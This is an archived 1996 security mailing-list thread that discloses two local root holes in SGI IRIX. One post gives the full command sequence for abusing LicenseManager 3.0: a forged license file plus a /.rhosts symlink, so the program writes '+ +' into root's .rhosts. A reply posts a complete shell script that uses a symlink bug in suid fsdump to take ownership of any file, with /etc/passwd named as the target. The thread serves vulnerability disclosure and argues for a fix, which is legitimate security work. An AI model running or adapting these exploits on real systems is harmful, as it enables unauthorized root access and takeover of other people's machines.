IRIX /usr/etc/LicenseManager hole

From: Yuri Volobuev (volobuev@t1.chem.umn.edu)
Date: Fri, 22 Nov 1996 19:41:13 -0600 

Howdy,

ABSTRACT

LicenseManager 3.0, recently announced by SGI as a replacement for buggy
version 1.0, is still suid and still highly insecure and allows any local
user with access to X screen to gain root privileges.

Fix:

chmod -s /usr/etc/LicenseManager

Move on to your next message now if you are busy.

Full Story:

I guess many of you read this

On Thu, 21 Nov 1996, SGI Security Coordinator wrote:
> Recently, a root compromise security issue with the LicenseManager program
> was publicly announced.   <...>
> Silicon Graphics Inc. has investigated these issues and recommends the
> following steps for neutralizing exposure.

This is not correct, so to say.  SGI didn't exactly listen to what I've
said, I thought it was clear, but... My point was: LicenseManager is far too
complex to be safe and suid at the same time.  I just pointed at one of the
many ways of exploiting it, there's much more in stock.  I'm actually really
frustrated, it's kind of disappointing when you're trying to help in fixing
an important security problem and is just being ignored.  I'm not a big
authority, I agree, but what I was saying isn't my idea, short look at
sendmail history would help anybody to learn why being suid is bad and in
what ways.  But SGI has just ignored the warning and LicenseManager 3.0
which is "neutralizing" the problem is still suid.

Yes, LM 3.0 is far more safe than 1.0, I agree with that.  So now it's not
a newborn and milk bottle but teenager and pack of gum in his locker in the
school (which he apparently forgot to lock).  Huge leap forward.

I said it once, and I'll say it again, may be repeating it few times will
actually make people in charge _read_ it:

PROGRAMS AS COMPLEX AS LICENSEMANAGER SHOULD NOT BE SUID.  PERIOD.

Those who liked that short tutorial about cdplayer crack may appreaciate a
quick reinforcement.  Exams are getting closer so I'll be brief.  It
actually took me several hours to hack it all the way through, so only main
steps will be shown.

As one can easily notice, LicenseManager 3.0 (LM30 for short) is
considerably enhanced as compared to LM 1.0.  For example, if one tries to
repeat recently published exploit for LM 1.0, it won't work, because
/.rhosts is not in /var/flexlm/licensefile.db.  So brute force attack won't
work.  RTFMing can help to find it out right away, and as far as I can tell
it seems to work.  So let's just abandon the whole idea of forging license
file and go investigate what other file I/O program actually does.  Most
important files live in /var/flexlm.

Every lazy hacker should have a special set of LS_COLOR options (and
color-aware ls, of course).  Such settings should always include assigning
very bright color to files with .log extension.  So that you can see right
away what you're going to hack in a few moments.

/var/flexlm/license.dat.log is not in that writable files database, but
obviously LM30 writes to it.  Exactly what we need.  But how to use it?

Not it's time for step #2, and our friend strings tells us how.  Among wide
variety of environment variables used by LM30 one is standing alone,
LICENSEMGR_FILE_ROOT. The very name says what it's for -- getting root (on
the system, but I guess developers meant something else.  Whatever).  Some
playing with it will quickly show that indeed that variable sets the root
directory for LM30.  We can now pick a new root directory:

mkdir -p /tmp/var/flexlm

so that we have exact equivalent of /var/flexlm, just with /tmp prepended to
it.  LICENSEMGR_FILE_ROOT will make LM30 aceept our understanding of what is
the right root directory.

setenv LICENSEMGR_FILE_ROOT /tmp

Now, LM30 deals with licenses, so let's make one, we'll need it

cd /tmp/var/flexlm
cat > license.dat
#
# FLEXlm license file
#

FEATURE \
+ + blah sgifd 1.00 01-jan-0 0 blah
^D

License is all set.  And of cource we need log file, don't we?

ln -s /.rhosts license.dat.log

now check that your DISPLAY is set correctly, and, ladies and gentlemen,
please welcome:

LicenseManager &

Front panel will show that indeed LM30 thinks about our little joke as a
license.  Let's update it, and click Update... button.  It will show four
fields for us to fill out. Putting blah in each of them will be fine.  Or
whatever you feel is a good input.  Some people like foo, I like blah.
And, finally, click apply.  Obviously, LM30 will be pissed at us, and it
will log the record of our nasty behaviour, and pop up some error dialog box
-- just ignore it and go straight back to the original command line:

cat /.rhosts


Checkpoint file /var/flexlm/license.dat Fri Nov 22 19:05:50 1996

#
# FLEXlm license file
#

FEATURE \
+ + blah sgifd 1.00 01-jan-0 0 blah

You know what happens next, I guess.

Moral: no one will protect your machine except you.  If you want your
machine to be secure, don't just accept what vendors give you -- try it by
breaking it.  And complain loudly and publically if it's broken.  Baby
doesn't cry -- mother doesn't worry, if bug is there and isn't being
exploited, chances are no one will ever bother fixing it, even if it's an
obvious one.

If somebody tells you that SGI just couldn't have anticipated this one,
laught at his face (or smile politely if it's her face, or vise versa,
whatever you feel is right). Not checking for a symlink before the write in
a suid program is one of the most common and lame bugs ever existed.

SGI: please, don't just fix this bug and say it's OK now, more of them are
right there.  Don't repeat others' mistakes, don't make a program suid
unless it's absolutely necessary.  Make a survey among your customers and
ask them, what they prefer: not allowing regular users to tweak with
licences or having a security hole?  I bet I know the answer.

Acknolegements.

I want to thank everybody who send me comments about this stuff.  I really
appreciate your e-mails.

cheers,

yuri
Always speaking for myself and only for myself.

From:  Jaechul Choe (poison@cosmos.kaist.ac.kr)
Date:  Tue, 3 Dec 1996 00:03:54 +0900 

      
> ABSTRACT
>
> /var/rfindd/fsdump is owned by root, has suid bit set by default and has
> bugs.  It allows local users to create zero-length files anywhere on the
> system.  If the file already exists, content is lost.  With little work, it
> can be converted to root compromise. 5.3 is is affected, 6.2 doesn't seem to
> have it, at least not on a standard installation.
>

Exploiting fsdump just one time you can change the owner of any file
to yourself. Didn't you see the program changes the owner of .pag & .dir files
to the user running it?
I've found the bug several weeks ago and now post a lame exploit script
that was put aside.

IRIX 6.2's fsdump was vulnerable also. Is it safe from the zero length
.lock file creation?

-------)<--------------------------------------------------------)<-------
#!/bin/sh
# gimmedump.sh
#
# This exploits the serious vulnerability in IRIX's fsdump(1M) program
# and attempts to change the owner of an arbitrary file to yourself.
# (You know /etc/passwd is an excellent target.)
# Tested on both IRIX 5.3 and IRIX64 6.2
# I think this bug may be exploited on any version of IRIX machines
# currently running.
# Here are some system call traces on the program, which show what
# the problem is:
#
#  379mS getuid() = 1128 euid=0
#  379mS getuid() = 1128 euid=0
#  379mS getuid() = 1128 euid=0
#  379mS getgid() = 20 egid=20
#  379mS chdir(/usr/var/tmp/) OK
#  380mS chmod(gimme, 0644) errno = 2 (No such file or directory)
#  380mS chown(gimme, 1128, 20) errno = 2 (No such file or directory)
#  380mS chmod(fsdump.pag, 0644) OK
#  380mS chown(fsdump.pag, 1128, 20) OK
#  380mS chmod(fsdump.dir, 0644) OK
#  381mS chown(fsdump.dir, 1128, 20) OK
#
# 1996 10.23    Jaechul Choe, CS Dept. in KAIST, Republic of Korea
#               poison@worak.kaist.ac.kr

PROG="`basename $0`"
if [ $# -ne 1 ]; then
        echo "Usage: $PROG "
        exit 1
fi

if [ ! -f /var/rfindd/fsdump ]; then
        echo "fsdump doesn't exist! - exiting"
        exit 1
fi

cd /tmp
ln -s $1 fsdump.dir
echo "Be patient! It will take some time to run."
echo "If you can't really wait, strike Ctrl-Z and see to the target file.\n"
/var/rfindd/fsdump -Fgimme /
echo "\nDone. Here is the result."
ls -al $1
rm -f fsdump.dir fsdump.pag gimme
exit 0